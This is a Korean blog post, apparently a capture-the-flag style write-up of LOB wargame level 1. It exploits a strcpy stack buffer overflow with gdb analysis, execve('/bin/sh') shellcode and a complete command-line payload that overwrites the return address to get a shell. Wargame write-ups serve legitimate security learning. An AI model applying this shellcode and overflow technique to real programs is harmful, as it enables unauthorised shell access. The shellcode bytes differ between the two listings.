LOB Level 1 - simple bof

Gunter·2024년 5월 7일
0

LOB

목록 보기
2/3

LEVEL1 (gate -> gremlin) : simple bof

 


 

Level 1 로그인 후 ls -al 로 파일 목록 확인

nl gremlin.c로 문제 소스코드 확인
nl 쓰면 줄 번호까지 알려주기 때문에 사람에 따라 cat 보다 보기 편할 수 있음

 

코드 분석

  • argc는 명령줄 인자의 수를 나타내고, argv는 인자의 값을 가리키는 문자열 배열 포인터. argv[0]은 프로그램의 이름을 저장하고 argv[1]부터 실제 인자 값을 저장.
  • 256바이트 크기의 문자 배열 buffer 선언
  • argc < 2 인 경우 (인자가 없는 경우), argv error를 출력하고 프로그램을 종료.
  • strycpy(buffer, argv[1]); 사용자로부터 받은 첫번째 인자인 argv[1]을 buffer에 복사
  • 버퍼에 저장된 데이터 출력

 

 

취약점

  • strcpy함수는 복사받을 대상의 크기와 상관없이 무조건 복사를 해주기 때문에, 256바이트보다 큰 데이터를 입력하면 bof가 발생할 것 같다.

 

익스플로잇

argc(argument count)는 인자의 개수를 세는 변수니까,
답을 입력하려면 ./gremlin (payload) 형태로 입력하면 될 것 같다.

-> 왜 그 형태로 입력함?
https://m.blog.naver.com/sharonichoya/220501242693 (argc, argv 정리)

 


스택 확인을 위한 gdb 실행

  • main+3 을 통해 할당된 스택의 크기가 0x100(256)
  • main+62 에서 ebp-256에 strcpy 함수의 인자인 buffer 배열 argv[1] 값을 저장 = buffer 배열은 base pointer와 256바이트 떨어져 있음

현재 gremlin의 스택 구조는 이러함을 알 수 있다.

buffer(256바이트) + base pointer(4바이트) = 260바이트 니까
shellcode[25] + dummy[235] + buffer address[4]로 오버플로우를 일으키면 될 것 같다.

+) Shellcode ?

-> 관리자의 권한을 탈취하는것 = shell을 얻는것
-> 취약한 프로그램에 대해 쉘을 얻도록 공격자가 실행시키는 코드

 

구글에서 25바이트 쉘코드를 긁어옴

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

이제 buffer address만 구해주면 된다.
strcpy 이후인 main+59에 breakpoint 걸어주기

이후 buffer에 넣을 내용을 인자로 넣어 실행시켜줌.
buffer의 시작주소가 궁금한거라서 A 256개 때워넣기

+) 맞게 쉘코드 넣었다고 생각했는데 한 5번은 segment fault 떠가지고 답답해서 구글링 했더니

기본으로 되어있는 bash 쉘을 bash2로 바꿔주어야 한다.
bash에서는 /xff를 null로 처리해버린다고 한다.


buffer 주소를 찾기 위해 payload를 넣어보는데 자꾸 'Operation not permitted'가 뜬다

그럴땐 파일을 복사하고 복사한 파일으로 gdb를 실행해주면

정상 실행 된다.

x/24x $esp라는 명령어를 이용해 breakpoint의 esp 기준 레지스터 상태를 확인한다.
($esp를 기준으로 x(hex값으로)/24x(24word)안에있는 내용들 보여달란 뜻)

레지스터 분석을 해보면, 0x41이 0xbffff920의 세 번째 블록부터 시작하기 때문에, buffer의 시작주소는 0xbffff920 + 0x8 = 0xbffff928이다.

 

payload

./gremlincp `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "A"*235 + "\x28\xf9\xff\xbf"'`

bash$ my-pass

hello bof world

0개의 댓글